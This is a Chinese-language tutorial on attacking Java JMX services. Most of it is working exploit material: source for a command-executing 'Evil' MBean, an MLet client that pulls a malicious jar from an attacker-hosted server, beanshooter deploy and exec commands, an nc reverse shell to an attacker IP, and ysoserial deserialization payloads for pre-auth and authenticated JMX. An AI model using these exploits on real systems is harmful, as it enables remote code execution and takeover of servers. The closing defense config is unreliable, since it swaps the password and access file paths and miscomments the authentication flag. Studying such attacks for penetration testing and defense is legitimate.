JMX初识

基础概念

Java管理扩展(JMX)(Java Management Extensions)技术是Java SE的标准部分。运维人员常部署Zabbix、Cacti和Nagios对Tomcat、Weblogic等服务器进行监控时通常都是通过JMX访问Tomcat、Weblogic的方式实现,然后通过JVM的queryMBeans方法查询获取具体的Mbean(Thread、JVM、JDBC)

默认情况下,JMX 通过 RMI 暴露端口(需配置安全策略)

MBean 是 JMX 的核心组件,代表可管理的资源(如 JVM 内存、线程池、自定义应用指标)。

MBean 类型​​:

  • standard MBean:这种类型的MBean最简单,它能管理的资源(包括属性,方法,时间)必须定义在接口中,然后MBean必须实现这个接口,它的命名也必须遵循一定的规范,例如我们的MBean为Hello,则接口必须为HelloMBean
  • dynamic MBean:必须实现javax.management.DynamicMBean接口,所有的属性,方法都在运行时定义
  • open MBean:此MBean的规范还不完善,还在改进中
  • model MBean:与标准和动态MBean相比,你可以不用写MBean类,只需使用javax.management.modelmbean.RequiredModelMBean即可,RequiredModelMBean实现了ModelMBean接口,而ModelMBean扩展了DynamicMBean接口,因此与DynamicMBean相似,Model MBean的管理资源也是在运行时定义的,与DynamicMBean不同的是,DynamicMBean管理的资源一般定义在DynamicMBean中(运行时才决定管理那些资源),而model MBean管理的资源并不在MBean中,而是在外部(通常是一个类),只有在运行时,才通过set方法将其加入到model MBean中,后面的例子会有详细介绍

扫描JMX端口

nmap -p 1099 --script rmi-dumpregistry <target>

常见的 JMX 服务端口包括:

默认端口 说明
1099 RMI Registry,JMX 常通过 RMI 使用
1098 JBoss 默认 JNP(命名服务)端口
4447 JBoss Remoting
9010 JMX Remote Debugging
8686 GlassFish 默认 JMX 端口
9999 通用 JMX 服务(也常用于 JBoss、WebLogic)

本地Mbean

文件结构:

├── HelloWorld.java
├── HelloWorldMBean.java
└── jmxDemo.java

代码实现: HelloWorldMBean.java

package com.jmx;

public interface HelloWorldMBean {
    public void sayhello();
    public int add(int x, int y);
    public String getName();
}

HelloWorld.java

package com.jmx;

public class HelloWorld implements HelloWorldMBean{
    private String name = "Al1ex";

    @Override
    public void sayhello() {
        System.out.println("hello world " + this.name);
    }

    @Override
    public int add(int x, int y) {
        return x + y;
    }

    @Override
    public String getName() {
        return this.name;
    }
}

jmxDemo.java

package com.jmx;

import java.lang.management.ManagementFactory;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;

public class jmxDemo {
    public static void main(String[] args) throws Exception {
        MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
        ObjectName mbsname = new ObjectName("test:type=HelloWorld");
        HelloWorld mbean = new HelloWorld();
        mbs.registerMBean(mbean, mbsname);


        Registry registry = LocateRegistry.createRegistry(1099);

        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");

        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mbs);
        jmxConnectorServer.start();
        System.out.println("JMXConnectorServer is ready...");

        System.out.println("press any key to exit.");
        System.in.read();
    }
}

本地JMX访问

一、java代码

MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
ObjectName name = new ObjectName("com.example:type=Hello");
mbs.invoke(name, "sayHello", null, null); // 调用方法

二、JConsole(图形化工具):

  1. 运行程序后,启动 jconsole(JDK 自带工具)。
  2. 连接到本地进程,找到 com.exampleHello MBean。

远程Mbean

JMX通过MLet对象可以加载远程MBean(MLet.getMBeansFromURL方法)

MLet.getMBeansFromURL + 远程MBean加载 = 漏洞入口

Step 1:编写一个EvilMBean接口

public interface EvilMBean {
    public String runCommand(String cmd);
}

Step 2:编写EvilMBean的实现

import java.io.*;

public class Evil implements EvilMBean {
    @Override
    public String runCommand(String cmd) {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null) {
                stdout_err_data += s + "\n";
            }
            while ((s = stdError.readLine()) != null) {
                stdout_err_data += s + "\n";
            }

            proc.waitFor();
            return stdout_err_data;
        } catch (Exception e) {
            return e.toString();
        }
    }
}

随后将上述两个java程序编译后打包成jar包:

javac Evil.java EvilMBean.java
jar -cvf JMXPayload.jar Evil.class EvilMBean.class

Step 3:再创建一个名为mlet的文件,该文件是给getMBeansFromURL函数使用的,通过该文件getMBeansFromURL会到远程下载JMXPayload.jar文件,内容如下:

<mlet 
    code="JMX.Evil" 
    archive="JMXPayload.jar" 
    name="MLetCompromise1:name=Evil,id=10" 
    codebase="http://127.0.0.1:4141">
</mlet>

参数说明:

  • JMXPayload.jar:EvilMBean的jar包,Evil为Evil的路径(需要看是否有包(package))
  • name:名称可以进行自定义,为步骤2创建的MBean
    • MLetCompromise1 → 这是 Domain(可以自定义,通常攻击者会用随机或伪装名称)。
    • name=Evil → 表示这个 MBean 的逻辑名称是 Evil(通常对应类名)。
    • id=10 → 自定义属性(可省略)。
  • codebase:路径为Http Server地址,可通过python -m快速创建

Step 4:随后将JMXPayload.jar和mlet放在网站同一目录下并启动一个简易的Web服务器

python2 -m SimpleHTTPServer 4141

Step 5:启动JMXServer作为服务端

import javax.management.MBeanServer;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.net.MalformedURLException;
import java.rmi.registry.LocateRegistry;

public class JMXServer {
    public static void main(String[] args) throws Exception {

        MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
        try {

            LocateRegistry.createRegistry(9999);
            JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://127.0.0.1:9999/jmxrmi");
            JMXConnectorServer cs = JMXConnectorServerFactory.newJMXConnectorServer(url, null, mbs);
            System.out.println("....................begin rmi start.....");
            cs.start();
            System.out.println("....................rmi start.....");
        } catch (MalformedURLException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

Step 6:构建ExploitJMXByRemoteMBean并启动

package JMX_Remote;

import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.util.HashSet;
import java.util.Iterator;

public class ExploitJMXByRemoteMBean {

    public static void main(String[] args) {
        try {
//            connectAndOwn(args[0], args[1], args[2]);
            connectAndOwn("localhost","9999","hostname");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {
        try {
            // step1. 通过rmi创建 jmx连接
            JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");
            System.out.println("URL: " + u + ", connecting");
            JMXConnector c = JMXConnectorFactory.connect(u);
            System.out.println("Connected: " + c.getConnectionId());
            MBeanServerConnection m = c.getMBeanServerConnection();

            // step2. 加载特殊MBean:javax.management.loading.MLet
            ObjectInstance evil_bean = null;
            ObjectInstance evil = null;
            try {
                evil = m.createMBean("javax.management.loading.MLet", null);
            } catch (javax.management.InstanceAlreadyExistsException e) {
                evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));
            }
            // step3:通过MLet加载远程恶意MBean
            System.out.println("Loaded "+evil.getClassName());
            Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]
                            { String.format("http://%s:4141/mlet", InetAddress.getLocalHost().getHostAddress()) },
                    new String[] { String.class.getName() } );

            HashSet res_set = ((HashSet)res);
            Iterator itr = res_set.iterator();
            Object nextObject = itr.next();
            if (nextObject instanceof Exception)
            {
                throw ((Exception)nextObject);
            }
            evil_bean = ((ObjectInstance)nextObject);

            // step4: 执行恶意MBean
            System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());
            System.out.println("Calling runCommand with: "+command);
            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });
            System.out.println("Result: "+result);
        } catch (Exception e)
        {
            e.printStackTrace();
        }
    }
}

随后使用Jconsole连接查看添加的MBean:

image-20250521154351438

尝试执行命令:

image-20250521154436079

此时我们也可以通过编写客户端来实现对已注册的MBean的方法调用:

package JMX_Remote;

import java.io.IOException;
import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;


public class Client
{
    public static void main(String[] args) throws IOException, Exception, NullPointerException
    {
        JMXServiceURL url = new JMXServiceURL
                ("service:jmx:rmi:///jndi/rmi://localhost:9999/jmxrmi");
        JMXConnector jmxc = JMXConnectorFactory.connect(url,null);

        MBeanServerConnection mbsc = jmxc.getMBeanServerConnection();

        ObjectName mbeanName = new ObjectName("MLetCompromise1:name=Evil,id=10");

        System.out.println("MBean count = " + mbsc.getMBeanCount());

        mbsc.invoke(mbeanName, "runCommand", new Object[]{ "calc.exe" }, new String[]{ String.class.getName() });
    }
}

远程 JMX 访问

在启动 Java 应用时添加参数:

java -Dcom.sun.management.jmxremote \
     -Dcom.sun.management.jmxremote.port=12345 \       # JMX 监听端口
     -Dcom.sun.management.jmxremote.rmi.port=12345 \   # RMI 注册端口通常与 JMX 端口相同     -Dcom.sun.management.jmxremote.authenticate=false \  # 禁用认证仅测试用     -Dcom.sun.management.jmxremote.ssl=false \         # 禁用 SSL仅测试用     -jar your-application.jar

攻击姿势

自定义类

自定义类

使用工具向JMX服务端注册恶意MBean:

Step 1:编写一个EvilMBean接口

public interface EvilMBean {
    public String runCommand(String cmd);
}

Step 2:编写EvilMBean的实现

import java.io.*;

public class Evil implements EvilMBean {
    @Override
    public String runCommand(String cmd) {
        try {
            Runtime rt = Runtime.getRuntime();
            Process proc = rt.exec(cmd);
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));
            String stdout_err_data = "";
            String s;
            while ((s = stdInput.readLine()) != null) {
                stdout_err_data += s + "\n";
            }
            while ((s = stdError.readLine()) != null) {
                stdout_err_data += s + "\n";
            }

            proc.waitFor();
            return stdout_err_data;
        } catch (Exception e) {
            return e.toString();
        }
    }
}

随后将上述两个java程序编译后打包成jar包:

javac Evil.java EvilMBean.java
jar -cvf JMXPayload.jar Evil.class EvilMBean.class

Step 4:随后使用python来启动一个简单的HTTP服务托管JMXPayload.jar

python2 -m SimpleHTTPServer 4141

Step 5:使用beanshooter来部署jar

java -jar beanshooter.jar deploy 127.0.0.1 9999 Evil com.al1ex:type=Example --jar-file JMXPayload.jar --stager-url http://127.0.0.1:4141
参数 作用
deploy 操作模式(部署恶意 MBean)
10.1.200.1 目标 JMX 服务器 IP
9999 目标 JMX 服务器端口
Evil 恶意 MBean 的名称(用于注册)
com.al1ex:type=Example 恶意 MBean 的 ObjectName(JMX 注册名称)
--jar-file JMXPayload.jar 指定恶意 JAR 文件路径
--stager-url http://10.1.200.1:4141 指定远程 Stager URL(用于加载恶意类)

随后直接远程链接并执行命令即可

image-20250521171201055

命令执行

Step 1:使用mlet加载tonka MBeans

java -jar beanshooter.jar mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000

Step 2:借助tonka来执行命令

java -jar beanshooter.jar tonka exec 172.17.0.2 9010 id

最后我们要对加载的恶意的MBean做一个清理处理(根据上面的Object名称来传参)

java -jar beanshooter.jar undeploy 172.17.0.2 9010 MLetTonkaBean:name=TonkaBean,id=1

反弹shell

借助standard模块操作来反弹shell:

java -jar beanshooter.jar standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'

认证模式

Step 1:开启监听

nc -lnvp 1234

Step 2:发起反序列化请求,如果出现下面的错误提示则说明是未配置yso.jar的路径

java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 1234 -e ash" --username admin --password admin

image-20250521174227569

随后正常执行后可以成功反弹shell回来

preauth

JMX服务也容易受到预先验证的反序列化攻击,要滥用这一点,您可以使用-preauth开关,而这个利用其实是RMI-JRMP的实现:

java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth

image-20250521174252126

认证绕过

如果开启认证则上面的几种攻击方式是不能打的(未知账户/密码的情况下):

https://github.com/openjdk-mirror/jdk7u-jdk/blob/f4d80957e89a19a29bb9f9807d2a28351ed7f7df/src/share/classes/com/sun/jmx/remote/security/MBeanServerAccessController.java#L619

ysoserial在2019年5月份的时候添加了一个新的模块,通过它可以来打认证后的MBean服务

https://github.com/frohoff/ysoserial/commit/55f1e7c35cabb454385fca14be03b80129cfa62e

实现原理就是调用一个MBean方法,该方法接受String(或任何其他类)作为参数,如果将String类型的参数替换为gadget,ysoserial工具实现就是将默认Mbean中java.util.logging:type=Logging中的getLoggerLevel参数进行替换,当然服务器上必须存在有gadget的jar包,我这里测试的用的是CommonsBeanutils1:

"C:\Program Files\Java\jdk1.8.0_102\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 9999 CommonsBeanutils1 calc.exe

通过代码实现(需要导入ysoserial.jar包):

package JMX_Remote;

import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.*;
import ysoserial.payloads.ObjectPayload.Utils;

public class jmxInvoke {
    public static void main(String[] args) throws Exception {
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://192.168.174.153:9999/jmxrmi");
        JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
        MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

        ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
        Object payloadobject = Utils.makePayloadObject("Jdk7u21","calc.exe");
        mbeanServerConnection.invoke(mbeanName,"getLoggerLevel",new Object[]{payloadobject}, new String[]{String.class.getCanonicalName()});
    }
}

防御

(1) 结合业务进行安全考虑,如果不需要JMX服务可以关闭

(2) 如果需要开启则建议启用认证,同时妥善保管认证信息:

a、首先创建一个jmxremote.access文件,用于定义哪些用户可以访问JMX服务

#格式示例
用户名         权限
monitorRole   readonly
controlRole   readwrite


#简易示例
monitorRole readonly
controlRole readwrite

b、创建一个jmxremote.password文件用于定义用户密码

#文件格式
用户名 密码

#简易示例
monitorRole password123
controlRole password456

c、配置JMX Agent以使用上述文件

#格式说明
-Dcom.sun.management.jmxremote.port=9999                                #指定端口
-Dcom.sun.management.jmxremote.authenticate=true                        #指定不需要用户名与密码
-Dcom.sun.management.jmxremote.ssl=false                                #不采用HTTPS连接
-Dcom.sun.management.jmxremote.password.file=/path/to/jmxremote.access      #密码文件
-Dcom.sun.management.jmxremote.access.file=/path/to/jmxremote.password      #权限文件

#简易示例
-Dcom.sun.management.jmxremote.port=9999                                    
-Dcom.sun.management.jmxremote.authenticate=true                            
-Dcom.sun.management.jmxremote.ssl=false                                    
-Dcom.sun.management.jmxremote.password.file=jmxremote.access       
-Dcom.sun.management.jmxremote.access.file=jmxremote.password

d、运行应用后使用jsconsole进行访问可以看到需要身份认证

Other

监控 Spring Boot

Spring Boot 默认集成 Actuator,可通过 /actuator/jolokia 暴露 JMX 数据(需添加依赖):

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-actuator</artifactId>
</dependency>
<dependency>
    <groupId>org.jolokia</groupId>
    <artifactId>jolokia-core</artifactId>
</dependency>

参考:https://xz.aliyun.com/news/15854

0%